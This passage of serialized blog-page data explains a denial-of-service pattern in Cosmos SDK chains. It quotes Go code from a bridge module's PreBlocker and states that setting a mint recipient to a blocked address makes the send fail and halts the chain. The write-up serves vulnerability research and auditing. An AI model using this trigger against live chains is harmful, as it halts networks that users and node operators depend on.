keeper",{"type":23,"tag":230,"props":83322,"children":83323},{"style":274},[83324],{"type":29,"value":312},{"type":23,"tag":230,"props":83326,"children":83327},{"style":294},[83328],{"type":29,"value":83083},{"type":23,"tag":230,"props":83330,"children":83331},{"style":274},[83332],{"type":29,"value":10072},{"type":23,"tag":230,"props":83334,"children":83335},{"class":232,"line":280},[83336,83341,83345,83349,83353,83357],{"type":23,"tag":230,"props":83337,"children":83338},{"style":262},[83339],{"type":29,"value":83340},"    keeper",{"type":23,"tag":230,"props":83342,"children":83343},{"style":274},[83344],{"type":29,"value":312},{"type":23,"tag":230,"props":83346,"children":83347},{"style":294},[83348],{"type":29,"value":83112},{"type":23,"tag":230,"props":83350,"children":83351},{"style":274},[83352],{"type":29,"value":302},{"type":23,"tag":230,"props":83354,"children":83355},{"style":262},[83356],{"type":29,"value":83121},{"type":23,"tag":230,"props":83358,"children":83359},{"style":274},[83360],{"type":29,"value":4516},{"type":23,"tag":230,"props":83362,"children":83363},{"class":232,"line":334},[83364],{"type":23,"tag":230,"props":83365,"children":83366},{"emptyLinePlaceholder":18},[83367],{"type":29,"value":459},{"type":23,"tag":230,"props":83369,"children":83370},{"class":232,"line":371},[83371,83375],{"type":23,"tag":230,"props":83372,"children":83373},{"style":866},[83374],{"type":29,"value":54639},{"type":23,"tag":230,"props":83376,"children":83377},{"style":256},[83378],{"type":29,"value":83379}," nil\n",{"type":23,"tag":230,"props":83381,"children":83382},{"class":232,"line":391},[83383],{"type":23,"tag":230,"props":83384,"children":83385},{"style":274},[83386],{"type":29,"value":975},{"type":23,"tag":59,"props":83388,"children":83390},{"id":83389},"real-world-examples-3",[83391],{"type":29,"value":78468},{"type":23,"tag":32,"props":83393,"children":83394},{},[83395],{"type":29,"value":83396},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":23,"tag":32,"props":83398,"children":83399},{},[83400,83402,83408,83410,83415,83417,83423,83425,83431,83433,83439],{"type":29,"value":83401},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":23,"tag":71,"props":83403,"children":83405},{"className":83404},[],[83406],{"type":29,"value":83407},"bankKeeper.SendCoinsFromModuleToAccount",{"type":29,"value":83409}," will be bubbled up through ",{"type":23,"tag":71,"props":83411,"children":83413},{"className":83412},[],[83414],{"type":29,"value":83182},{"type":29,"value":83416}," and halt the chain. It turns out an attacker can force ",{"type":23,"tag":71,"props":83418,"children":83420},{"className":83419},[],[83421],{"type":29,"value":83422},"SendCoinsFromModuleToAccount",{"type":29,"value":83424}," to return an error by setting ",{"type":23,"tag":71,"props":83426,"children":83428},{"className":83427},[],[83429],{"type":29,"value":83430},"recipient",{"type":29,"value":83432}," to some ",{"type":23,"tag":71,"props":83434,"children":83436},{"className":83435},[],[83437],{"type":29,"value":83438},"BlockedAddr",{"type":29,"value":83440},",rendering the code susceptible to DoS attacks.",{"type":23,"tag":32,"props":83442,"children":83443},{},[83444],{"type":23,"tag":181,"props":83445,"children":83448},{"href":83446,"rel":83447},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[185],[83449],{"type":29,"value":78518},{"type":23,"tag":220,"props":83451,"children":83453},{"code":83452,"language":77943,"meta":7,"className":77944,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    ...\n}\n",[83454],{"type":23,"tag":71,"props":83455,"children":83456},{"__ignoreMap":7},[83457,83510,83525,83548,83578,83614,83622,83678,83702,83752,83759,83766,83773,83780,83787,83818,83841,83866,83881,83888,83925,83979,84002,84043,84050,84057,84108,84169,84192,84215,84227,84248,84260,84268,84275,84290,84298,84305,84312,84319,84326,84333,84364,84387,84412,84437,84452,84459,84496,84507,84528,84539,84551,84558,84581,84621,84628,84635],{"type":23,"tag":230,"props":83458,"children":83459},{"class":232,"line":233},[83460,83464,83468,83473,83477,83482,83486,83490,83494,83498,83502,83506],{"type":23,"tag":230,"props":83461,"children":83462},{"style":256},[83463],{"type":29,"value":78079},{"type":23,"tag":230,"props":83465,"children":83466},{"style":274},[83467],{"type":29,"value":664},{"type":23,"tag":230,"props":83469,"children":83470},{"style":262},[83471],{"type":29,"value":83472},"pbh ",{"type":23,"tag":230,"props":83474,"children":83475},{"style":268},[83476],{"type":29,"value":6909},{"type":23,"tag":230,"props":83478,"children":83479},{"style":676},[83480],{"type":29,"value":83481},"PreBlockHandler",{"type":23,"tag":230,"props":83483,"children":83484},{"style":274},[83485],{"type":29,"value":703},{"type":23,"tag":230,"props":83487,"children":83488},{"style":294},[83489],{"type":29,"value":83182},{"type":23,"tag":230,"props":83491,"children":83492},{"style":274},[83493],{"type":29,"value":16370},{"type":23,"tag":230,"props":83495,"children":83496},{"style":676},[83497],{"type":29,"value":80509},{"type":23,"tag":230,"props":83499,"children":83500},{"style":274},[83501],{"type":29,"value":312},{"type":23,"tag":230,"props":83503,"children":83504},{"style":676},[83505],{"type":29,"value":83182},{"type":23,"tag":230,"props":83507,"children":83508},{"style":274},[83509],{"type":29,"value":277},{"type":23,"tag":230,"props":83511,"children":83512},{"class":232,"line":243},[83513,83517,83521],{"type":23,"tag":230,"props":83514,"children":83515},{"style":866},[83516],{"type":29,"value":4427},{"type":23,"tag":230,"props":83518,"children":83519},{"style":256},[83520],{"type":29,"value":81788},{"type":23,"tag":230,"props":83522,"children":83523},{"style":274},[83524],{"type":29,"value":619},{"type":23,"tag":230,"props":83526,"children":83527},{"class":232,"line":252},[83528,83532,83536,83540,83544],{"type":23,"tag":230,"props":83529,"children":83530},{"style":262},[83531],{"type":29,"value":28493},{"type":23,"tag":230,"props":83533,"children":83534},{"style":676},[83535],{"type":29,"value":80420},{"type":23,"tag":230,"props":83537,"children":83538},{"style":274},[83539],{"type":29,"value":312},{"type":23,"tag":230,"props":83541,"children":83542},{"style":676},[83543],{"type":29,"value":78128},{"type":23,"tag":230,"props":83545,"children":83546},{"style":274},[83547],{"type":29,"value":388},{"type":23,"tag":230,"props":83549,"children":83550},{"class":232,"line":280},[83551,83556,83560,83565,83569,83574],{"type":23,"tag":230,"props":83552,"children":83553},{"style":262},[83554],{"type":29,"value":83555},"        req",{"type":23,"tag":230,"props":83557,"children":83558},{"style":268},[83559],{"type":29,"value":12147},{"type":23,"tag":230,"props":83561,"children":83562},{"style":676},[83563],{"type":29,"value":83564},"cmtabci",{"type":23,"tag":230,"props":83566,"children":83567},{"style":274},[83568],{"type":29,"value":312},{"type":23,"tag":230,"props":83570,"children":83571},{"style":676},[83572],{"type":29,"value":83573},"RequestFinalizeBlock",{"type":23,"tag":230,"props":83575,"children":83576},{"style":274},[83577],{"type":29,"value":388},{"type":23,"tag":230,"props":83579,"children":83580},{"class":232,"line":334},[83581,83585,83589,83593,83597,83602,83606,83610],{"type":23,"tag":230,"props":83582,"children":83583},{"style":274},[83584],{"type":29,"value":81856},{"type":23,"tag":230,"props":83586,"children":83587},{"style":268},[83588],{"type":29,"value":6909},{"type":23,"tag":230,"props":83590,"children":83591},{"style":676},[83592],{"type":29,"value":80509},{"type":23,"tag":230,"props":83594,"children":83595},{"style":274},[83596],{"type":29,"value":312},{"type":23,"tag":230,"props":83598,"children":83599},{"style":676},[83600],{"type":29,"value":83601},"ResponsePreBlock",{"type":23,"tag":230,"props":83603,"children":83604},{"style":274},[83605],{"type":29,"value":684},{"type":23,"tag":230,"props":83607,"children":83608},{"style":676},[83609],{"type":29,"value":17189},{"type":23,"tag":230,"props":83611,"children":83612},{"style":274},[83613],{"type":29,"value":827},{"type":23,"tag":230,"props":83615,"children":83616},{"class":232,"line":371},[83617],{"type":23,"tag":230,"props":83618,"children":83619},{"style":268},[83620],{"type":29,"value":83621},"        ...\n",{"type":23,"tag":230,"props":83623,"children":83624},{"class":232,"line":391},[83625,83630,83634,83639,83643,83648,83652,83657,83661,83665,83669,83674],{"type":23,"tag":230,"props":83626,"children":83627},{"style":262},[83628],{"type":29,"value":83629},"        err",{"type":23,"tag":230,"props":83631,"children":83632},{"style":268},[83633],{"type":29,"value":78195},{"type":23,"tag":230,"props":83635,"children":83636},{"style":262},[83637],{"type":29,"value":83638}," pbh",{"type":23,"tag":230,"props":83640,"children":83641},{"style":274},[83642],{"type":29,"value":312},{"type":23,"tag":230,"props":83644,"children":83645},{"style":262},[83646],{"type":29,"value":83647},"bridgeKeeper",{"type":23,"tag":230,"props":83649,"children":83650},{"style":274},[83651],{"type":29,"value":312},{"type":23,"tag":230,"props":83653,"children":83654},{"style":294},[83655],{"type":29,"value":83656},"AcceptAssetsLocked",{"type":23,"tag":230,"props":83658,"children":83659},{"style":274},[83660],{"type":29,"value":302},{"type":23,"tag":230,"props":83662,"children":83663},{"style":262},[83664],{"type":29,"value":22595},{"type":23,"tag":230,"props":83666,"children":83667},{"style":274},[83668],{"type":29,"value":684},{"type":23,"tag":230,"props":83670,"children":83671},{"style":262},[83672],{"type":29,"value":83673},"events",{"type":23,"tag":230,"props":83675,"children":83676},{"style":274},[83677],{"type":29,"value":4516},{"type":23,"tag":230,"props":83679,"children":83680},{"class":232,"line":400},[83681,83685,83689,83693,83698],{"type":23,"tag":230,"props":83682,"children":83683},{"style":866},[83684],{"type":29,"value":5611},{"type":23,"tag":230,"props":83686,"children":83687},{"style":262},[83688],{"type":29,"value":50293},{"type":23,"tag":230,"props":83690,"children":83691},{"style":268},[83692],{"type":29,"value":66162},{"type":23,"tag":230,"props":83694,"children":83695},{"style":256},[83696],{"type":29,"value":83697}," nil",{"type":23,"tag":230,"props":83699,"children":83700},{"style":274},[83701],{"type":29,"value":277},{"type":23,"tag":230,"props":83703,"children":83704},{"class":232,"line":444},[83705,83709,83713,83717,83722,83726,83731,83735,83740,83744,83748],{"type":23,"tag":230,"props":83706,"children":83707},{"style":866},[83708],{"type":29,"value":80855},{"type":23,"tag":230,"props":83710,"children":83711},{"style":256},[83712],{"type":29,"value":83697},{"type":23,"tag":230,"props":83714,"children":83715},{"style":274},[83716],{"type":29,"value":684},{"type":23,"tag":230,"props":83718,"children":83719},{"style":262},[83720],{"type":29,"value":83721},"fmt",{"type":23,"tag":230,"props":83723,"children":83724},{"style":274},[83725],{"type":29,"value":312},{"type":23,"tag":230,"props":83727,"children":83728},{"style":294},[83729],{"type":29,"value":83730},"Errorf",{"type":23,"tag":230,"props":83732,"children":83733},{"style":274},[83734],{"type":29,"value":302},{"type":23,"tag":230,"props":83736,"children":83737},{"style":380},[83738],{"type":29,"value":83739},"\"cannot accept AssetsLocked events: %w\"",{"type":23,"tag":230,"props":83741,"children":83742},{"style":274},[83743],{"type":29,"value":684},{"type":23,"tag":230,"props":83745,"children":83746},{"style":262},[83747],{"type":29,"value":50192},{"type":23,"tag":230,"props":83749,"children":83750},{"style":274},[83751],{"type":29,"value":4516},{"type":23,"tag":230,"props":83753,"children":83754},{"class":232,"line":453},[83755],{"type":23,"tag":230,"props":83756,"children":83757},{"style":274},[83758],{"type":29,"value":5686},{"type":23,"tag":230,"props":83760,"children":83761},{"class":232,"line":462},[83762],{"type":23,"tag":230,"props":83763,"children":83764},{"style":268},[83765],{"type":29,"value":83621},{"type":23,"tag":230,"props":83767,"children":83768},{"class":232,"line":471},[83769],{"type":23,"tag":230,"props":83770,"children":83771},{"style":274},[83772],{"type":29,"value":1552},{"type":23,"tag":230,"props":83774,"children":83775},{"class":232,"line":500},[83776],{"type":23,"tag":230,"props":83777,"children":83778},{"style":274},[83779],{"type":29,"value":975},{"type":23,"tag":230,"props":83781,"children":83782},{"class":232,"line":514},[83783],{"type":23,"tag":230,"props":83784,"children":83785},{"emptyLinePlaceholder":18},[83786],{"type":29,"value":459},{"type":23,"tag":230,"props":83788,"children":83789},{"class":232,"line":897},[83790,83794,83798,83802,83806,83810,83814],{"type":23,"tag":230,"props":83791,"children":83792},{"style":256},[83793],{"type":29,"value":78079},{"type":23,"tag":230,"props":83795,"children":83796},{"style":274},[83797],{"type":29,"value":664},{"type":23,"tag":230,"props":83799,"children":83800},{"style":262},[83801],{"type":29,"value":82907},{"type":23,"tag":230,"props":83803,"children":83804},{"style":676},[83805],{"type":29,"value":81724},{"type":23,"tag":230,"props":83807,"children":83808},{"style":274},[83809],{"type":29,"value":703},{"type":23,"tag":230,"props":83811,"children":83812},{"style":294},[83813],{"type":29,"value":83656},{"type":23,"tag":230,"props":83815,"children":83816},{"style":274},[83817],{"type":29,"value":619},{"type":23,"tag":230,"props":83819,"children":83820},{"class":232,"line":960},[83821,83825,83829,83833,83837],{"type":23,"tag":230,"props":83822,"children":83823},{"style":262},[83824],{"type":29,"value":22538},{"type":23,"tag":230,"props":83826,"children":83827},{"style":676},[83828],{"type":29,"value":80420},{"type":23,"tag":230,"props":83830,"children":83831},{"style":274},[83832],{"type":29,"value":312},{"type":23,"tag":230,"props":83834,"children":83835},{"style":676},[83836],{"type":29,"value":78128},{"type":23,"tag":230,"props":83838,"children":83839},{"style":274},[83840],{"type":29,"value":388},{"type":23,"tag":230,"props":83842,"children":83843},{"class":232,"line":969},[83844,83849,83853,83857,83862],{"type":23,"tag":230,"props":83845,"children":83846},{"style":262},[83847],{"type":29,"value":83848},"    events",{"type":23,"tag":230,"props":83850,"children":83851},{"style":676},[83852],{"type":29,"value":79954},{"type":23,"tag":230,"props":83854,"children":83855},{"style":274},[83856],{"type":29,"value":312},{"type":23,"tag":230,"props":83858,"children":83859},{"style":676},[83860],{"type":29,"value":83861},"AssetsLockedEvents",{"type":23,"tag":230,"props":83863,"children":83864},{"style":274},[83865],{"type":29,"value":388},{"type":23,"tag":230,"props":83867,"children":83868},{"class":232,"line":4526},[83869,83873,83877],{"type":23,"tag":230,"props":83870,"children":83871},{"style":274},[83872],{"type":29,"value":703},{"type":23,"tag":230,"props":83874,"children":83875},{"style":676},[83876],{"type":29,"value":17189},{"type":23,"tag":230,"props":83878,"children":83879},{"style":274},[83880],{"type":29,"value":277},{"type":23,"tag":230,"props":83882,"children":83883},{"class":232,"line":4534},[83884],{"type":23,"tag":230,"props":83885,"children":83886},{"style":268},[83887],{"type":29,"value":22654},{"type":23,"tag":230,"props":83889,"children":83890},{"class":232,"line":4542},[83891,83895,83899,83903,83908,83912,83916,83921],{"type":23,"tag":230,"props":83892,"children":83893},{"style":866},[83894],{"type":29,"value":5371},{"type":23,"tag":230,"props":83896,"children":83897},{"style":262},[83898],{"type":29,"value":5376},{"type":23,"tag":230,"props":83900,"children":83901},{"style":274},[83902],{"type":29,"value":684},{"type":23,"tag":230,"props":83904,"children":83905},{"style":262},[83906],{"type":29,"value":83907},"event",{"type":23,"tag":230,"props":83909,"children":83910},{"style":268},[83911],{"type":29,"value":78195},{"type":23,"tag":230,"props":83913,"children":83914},{"style":866},[83915],{"type":29,"value":79178},{"type":23,"tag":230,"props":83917,"children":83918},{"style":262},[83919],{"type":29,"value":83920}," events",{"type":23,"tag":230,"props":83922,"children":83923},{"style":274},[83924],{"type":29,"value":277},{"type":23,"tag":230,"props":83926,"children":83927},{"class":232,"line":4559},[83928,83933,83937,83941,83945,83949,83953,83958,83962,83966,83970,83975],{"type":23,"tag":230,"props":83929,"children":83930},{"style":262},[83931],{"type":29,"value":83932},"        recipient",{"type":23,"tag":230,"props":83934,"children":83935},{"style":274},[83936],{"type":29,"value":684},{"type":23,"tag":230,"props":83938,"children":83939},{"style":262},[83940],{"type":29,"value":50192},{"type":23,"tag":230,"props":83942,"children":83943},{"style":268},[83944],{"type":29,"value":78195},{"type":23,"tag":230,"props":83946,"children":83947},{"style":262},[83948],{"type":29,"value":80420},{"type":23,"tag":230,"props":83950,"children":83951},{"style":274},[83952],{"type":29,"value":312},{"type":23,"tag":230,"props":83954,"children":83955},{"style":294},[83956],{"type":29,"value":83957},"AccAddressFromBech32",{"type":23,"tag":230,"props":83959,"children":83960},{"style":274},[83961],{"type":29,"value":302},{"type":23,"tag":230,"props":83963,"children":83964},{"style":262},[83965],{"type":29,"value":83907},{"type":23,"tag":230,"props":83967,"children":83968},{"style":274},[83969],{"type":29,"value":312},{"type":23,"tag":230,"props":83971,"children":83972},{"style":262},[83973],{"type":29,"value":83974},"Recipient",{"type":23,"tag":230,"props":83976,"children":83977},{"style":274},[83978],{"type":29,"value":4516},{"type":23,"tag":230,"props":83980,"children":83981},{"class":232,"line":4587},[83982,83986,83990,83994,83998],{"type":23,"tag":230,"props":83983,"children":83984},{"style":866},[83985],{"type":29,"value":5611},{"type":23,"tag":230,"props":83987,"children":83988},{"style":262},[83989],{"type":29,"value":50293},{"type":23,"tag":230,"props":83991,"children":83992},{"style":268},[83993],{"type":29,"value":66162},{"type":23,"tag":230,"props":83995,"children":83996},{"style":256},[83997],{"type":29,"value":83697},{"type":23,"tag":230,"props":83999,"children":84000},{"style":274},[84001],{"type":29,"value":277},{"type":23,"tag":230,"props":84003,"children":84004},{"class":232,"line":4595},[84005,84009,84014,84018,84022,84026,84031,84035,84039],{"type":23,"tag":230,"props":84006,"children":84007},{"style":866},[84008],{"type":29,"value":80855},{"type":23,"tag":230,"props":84010,"children":84011},{"style":262},[84012],{"type":29,"value":84013}," fmt",{"type":23,"tag":230,"props":84015,"children":84016},{"style":274},[84017],{"type":29,"value":312},{"type":23,"tag":230,"props":84019,"children":84020},{"style":294},[84021],{"type":29,"value":83730},{"type":23,"tag":230,"props":84023,"children":84024},{"style":274},[84025],{"type":29,"value":302},{"type":23,"tag":230,"props":84027,"children":84028},{"style":380},[84029],{"type":29,"value":84030},"\"failed to parse recipient address: %w\"",{"type":23,"tag":230,"props":84032,"children":84033},{"style":274},[84034],{"type":29,"value":684},{"type":23,"tag":230,"props":84036,"children":84037},{"style":262},[84038],{"type":29,"value":50192},{"type":23,"tag":230,"props":84040,"children":84041},{"style":274},[84042],{"type":29,"value":4516},{"type":23,"tag":230,"props":84044,"children":84045},{"class":232,"line":4619},[84046],{"type":23,"tag":230,"props":84047,"children":84048},{"style":274},[84049],{"type":29,"value":5686},{"type":23,"tag":230,"props":84051,"children":84052},{"class":232,"line":4627},[84053],{"type":23,"tag":230,"props":84054,"children":84055},{"emptyLinePlaceholder":18},[84056],{"type":29,"value":459},{"type":23,"tag":230,"props":84058,"children":84059},{"class":232,"line":4659},[84060,84064,84069,84073,84078,84082,84086,84090,84095,84099,84104],{"type":23,"tag":230,"props":84061,"children":84062},{"style":866},[84063],{"type":29,"value":5611},{"type":23,"tag":230,"props":84065,"children":84066},{"style":262},[84067],{"type":29,"value":84068}," bytes",{"type":23,"tag":230,"props":84070,"children":84071},{"style":274},[84072],{"type":29,"value":312},{"type":23,"tag":230,"props":84074,"children":84075},{"style":294},[84076],{"type":29,"value":84077},"Equal",{"type":23,"tag":230,"props":84079,"children":84080},{"style":274},[84081],{"type":29,"value":302},{"type":23,"tag":230,"props":84083,"children":84084},{"style":262},[84085],{"type":29,"value":83907},{"type":23,"tag":230,"props":84087,"children":84088},{"style":274},[84089],{"type":29,"value":312},{"type":23,"tag":230,"props":84091,"children":84092},{"style":294},[84093],{"type":29,"value":84094},"TokenBytes",{"type":23,"tag":230,"props":84096,"children":84097},{"style":274},[84098],{"type":29,"value":1172},{"type":23,"tag":230,"props":84100,"children":84101},{"style":262},[84102],{"type":29,"value":84103},"sourceBTCToken",{"type":23,"tag":230,"props":84105,"children":84106},{"style":274},[84107],{"type":29,"value":827},{"type":23,"tag":230,"props":84109,"children":84110},{"class":232,"line":4671},[84111,84116,84120,84124,84128,84133,84137,84141,84145,84149,84153,84157,84161,84165],{"type":23,"tag":230,"props":84112,"children":84113},{"style":262},[84114],{"type":29,"value":84115},"            err",{"type":23,"tag":230,"props":84117,"children":84118},{"style":268},[84119],{"type":29,"value":271},{"type":23,"tag":230,"props":84121,"children":84122},{"style":262},[84123],{"type":29,"value":83035},{"type":23,"tag":230,"props":84125,"children":84126},{"style":274},[84127],{"type":29,"value":312},{"type":23,"tag":230,"props":84129,"children":84130},{"style":294},[84131],{"type":29,"value":84132},"mintBTC",{"type":23,"tag":230,"props":84134,"children":84135},{"style":274},[84136],{"type":29,"value":302},{"type":23,"tag":230,"props":84138,"children":84139},{"style":262},[84140],{"type":29,"value":22595},{"type":23,"tag":230,"props":84142,"children":84143},{"style":274},[84144],{"type":29,"value":684},{"type":23,"tag":230,"props":84146,"children":84147},{"style":262},[84148],{"type":29,"value":83430},{"type":23,"tag":230,"props":84150,"children":84151},{"style":274},[84152],{"type":29,"value":684},{"type":23,"tag":230,"props":84154,"children":84155},{"style":262},[84156],{"type":29,"value":83907},{"type":23,"tag":230,"props":84158,"children":84159},{"style":274},[84160],{"type":29,"value":312},{"type":23,"tag":230,"props":84162,"children":84163},{"style":262},[84164],{"type":29,"value":80834},{"type":23,"tag":230,"props":84166,"children":84167},{"style":274},[84168],{"type":29,"value":4516},{"type":23,"tag":230,"props":84170,"children":84171},{"class":232,"line":4688},[84172,84176,84180,84184,84188],{"type":23,"tag":230,"props":84173,"children":84174},{"style":866},[84175],{"type":29,"value":60575},{"type":23,"tag":230,"props":84177,"children":84178},{"style":262},[84179],{"type":29,"value":50293},{"type":23,"tag":230,"props":84181,"children":84182},{"style":268},[84183],{"type":29,"value":66162},{"type":23,"tag":230,"props":84185,"children":84186},{"style":256},[84187],{"type":29,"value":83697},{"type":23,"tag":230,"props":84189,"children":84190},{"style":274},[84191],{"type":29,"value":277},{"type":23,"tag":230,"props":84193,"children":84194},{"class":232,"line":4701},[84195,84199,84203,84207,84211],{"type":23,"tag":230,"props":84196,"children":84197},{"style":866},[84198],{"type":29,"value":62503},{"type":23,"tag":230,"props":84200,"children":84201},{"style":262},[84202],{"type":29,"value":84013},{"type":23,"tag":230,"props":84204,"children":84205},{"style":274},[84206],{"type":29,"value":312},{"type":23,"tag":230,"props":84208,"children":84209},{"style":294},[84210],{"type":29,"value":83730},{"type":23,"tag":230,"props":84212,"children":84213},{"style":274},[84214],{"type":29,"value":619},{"type":23,"tag":230,"props":84216,"children":84217},{"class":232,"line":4724},[84218,84223],{"type":23,"tag":230,"props":84219,"children":84220},{"style":380},[84221],{"type":29,"value":84222},"                    \"failed to mint BTC for event %v: %w\"",{"type":23,"tag":230,"props":84224,"children":84225},{"style":274},[84226],{"type":29,"value":388},{"type":23,"tag":230,"props":84228,"children":84229},{"class":232,"line":4741},[84230,84235,84239,84244],{"type":23,"tag":230,"props":84231,"children":84232},{"style":262},[84233],{"type":29,"value":84234},"                    event",{"type":23,"tag":230,"props":84236,"children":84237},{"style":274},[84238],{"type":29,"value":312},{"type":23,"tag":230,"props":84240,"children":84241},{"style":262},[84242],{"type":29,"value":84243},"Sequence",{"type":23,"tag":230,"props":84245,"children":84246},{"style":274},[84247],{"type":29,"value":388},{"type":23,"tag":230,"props":84249,"children":84250},{"class":232,"line":4759},[84251,84256],{"type":23,"tag":230,"props":84252,"children":84253},{"style":262},[84254],{"type":29,"value":84255},"                    err",{"type":23,"tag":230,"props":84257,"children":84258},{"style":274},[84259],{"type":29,"value":388},{"type":23,"tag":230,"props":84261,"children":84262},{"class":232,"line":4768},[84263],{"type":23,"tag":230,"props":84264,"children":84265},{"style":274},[84266],{"type":29,"value":84267},"                )\n",{"type":23,"tag":230,"props":84269,"children":84270},{"class":232,"line":4776},[84271],{"type":23,"tag":230,"props":84272,"children":84273},{"style":274},[84274],{"type":29,"value":60659},{"type":23,"tag":230,"props":84276,"children":84277},{"class":232,"line":4784},[84278,84282,84286],{"type":23,"tag":230,"props":84279,"children":84280},{"style":274},[84281],{"type":29,"value":5649},{"type":23,"tag":230,"props":84283,"children":84284},{"style":866},[84285],{"type":29,"value":5654},{"type":23,"tag":230,"props":84287,"children":84288},{"style":274},[84289],{"type":29,"value":277},{"type":23,"tag":230,"props":84291,"children":84292},{"class":232,"line":4792},[84293],{"type":23,"tag":230,"props":84294,"children":84295},{"style":268},[84296],{"type":29,"value":84297},"            ...\n",{"type":23,"tag":230,"props":84299,"children":84300},{"class":232,"line":4824},[84301],{"type":23,"tag":230,"props":84302,"children":84303},{"style":274},[84304],{"type":29,"value":5686},{"type":23,"tag":230,"props":84306,"children":84307},{"class":232,"line":4832},[84308],{"type":23,"tag":230,"props":84309,"children":84310},{"style":274},[84311],{"type":29,"value":1552},{"type":23,"tag":230,"props":84313,"children":84314},{"class":232,"line":4840},[84315],{"type":23,"tag":230,"props":84316,"children":84317},{"style":268},[84318],{"type":29,"value":22654},{"type":23,"tag":230,"props":84320,"children":84321},{"class":232,"line":4901},[84322],{"type":23,"tag":230,"props":84323,"children":84324},{"style":274},[84325],{"type":29,"value":975},{"type":23,"tag":230,"props":84327,"children":84328},{"class":232,"line":4909},[84329],{"type":23,"tag":230,"props":84330,"children":84331},{"emptyLinePlaceholder":18},[84332],{"type":29,"value":459},{"type":23,"tag":230,"props":84334,"children":84335},{"class":232,"line":4938},[84336,84340,84344,84348,84352,84356,84360],{"type":23,"tag":230,"props":84337,"children":84338},{"style":256},[84339],{"type":29,"value":78079},{"type":23,"tag":230,"props":84341,"children":84342},{"style":274},[84343],{"type":29,"value":664},{"type":23,"tag":230,"props":84345,"children":84346},{"style":262},[84347],{"type":29,"value":82907},{"type":23,"tag":230,"props":84349,"children":84350},{"style":676},[84351],{"type":29,"value":81724},{"type":23,"tag":230,"props":84353,"children":84354},{"style":274},[84355],{"type":29,"value":703},{"type":23,"tag":230,"props":84357,"children":84358},{"style":294},[84359],{"type":29,"value":84132},{"type":23,"tag":230,"props":84361,"children":84362},{"style":274},[84363],{"type":29,"value":619},{"type":23,"tag":230,"props":84365,"children":84366},{"class":232,"line":4957},[84367,84371,84375,84379,84383],{"type":23,"tag":230,"props":84368,"children":84369},{"style":262},[84370],{"type":29,"value":22538},{"type":23,"tag":230,"props":84372,"children":84373},{"style":676},[84374],{"type":29,"value":80420},{"type":23,"tag":230,"props":84376,"children":84377},{"style":274},[84378],{"type":29,"value":312},{"type":23,"tag":230,"props":84380,"children":84381},{"style":676},[84382],{"type":29,"value":78128},{"type":23,"tag":230,"props":84384,"children":84385},{"style":274},[84386],{"type":29,"value":388},{"type":23,"tag":230,"props":84388,"children":84389},{"class":232,"line":4973},[84390,84395,84399,84403,84408],{"type":23,"tag":230,"props":84391,"children":84392},{"style":262},[84393],{"type":29,"value":84394},"    recipient",{"type":23,"tag":230,"props":84396,"children":84397},{"style":676},[84398],{"type":29,"value":80420},{"type":23,"tag":230,"props":84400,"children":84401},{"style":274},[84402],{"type":29,"value":312},{"type":23,"tag":230,"props":84404,"children":84405},{"style":676},[84406],{"type":29,"value":84407},"AccAddress",{"type":23,"tag":230,"props":84409,"children":84410},{"style":274},[84411],{"type":29,"value":388},{"type":23,"tag":230,"props":84413,"children":84414},{"class":232,"line":4990},[84415,84419,84424,84428,84433],{"type":23,"tag":230,"props":84416,"children":84417},{"style":262},[84418],{"type":29,"value":63357},{"type":23,"tag":230,"props":84420,"children":84421},{"style":676},[84422],{"type":29,"value":84423}," math",{"type":23,"tag":230,"props":84425,"children":84426},{"style":274},[84427],{"type":29,"value":312},{"type":23,"tag":230,"props":84429,"children":84430},{"style":676},[84431],{"type":29,"value":84432},"Int",{"type":23,"tag":230,"props":84434,"children":84435},{"style":274},[84436],{"type":29,"value":388},{"type":23,"tag":230,"props":84438,"children":84439},{"class":232,"line":5006},[84440,84444,84448],{"type":23,"tag":230,"props":84441,"children":84442},{"style":274},[84443],{"type":29,"value":703},{"type":23,"tag":230,"props":84445,"children":84446},{"style":676},[84447],{"type":29,"value":17189},{"type":23,"tag":230,"props":84449,"children":84450},{"style":274},[84451],{"type":29,"value":277},{"type":23,"tag":230,"props":84453,"children":84454},{"class":232,"line":5019},[84455],{"type":23,"tag":230,"props":84456,"children":84457},{"style":268},[84458],{"type":29,"value":22654},{"type":23,"tag":230,"props":84460,"children":84461},{"class":232,"line":5050},[84462,84467,84471,84475,84479,84484,84488,84492],{"type":23,"tag":230,"props":84463,"children":84464},{"style":262},[84465],{"type":29,"value":84466},"    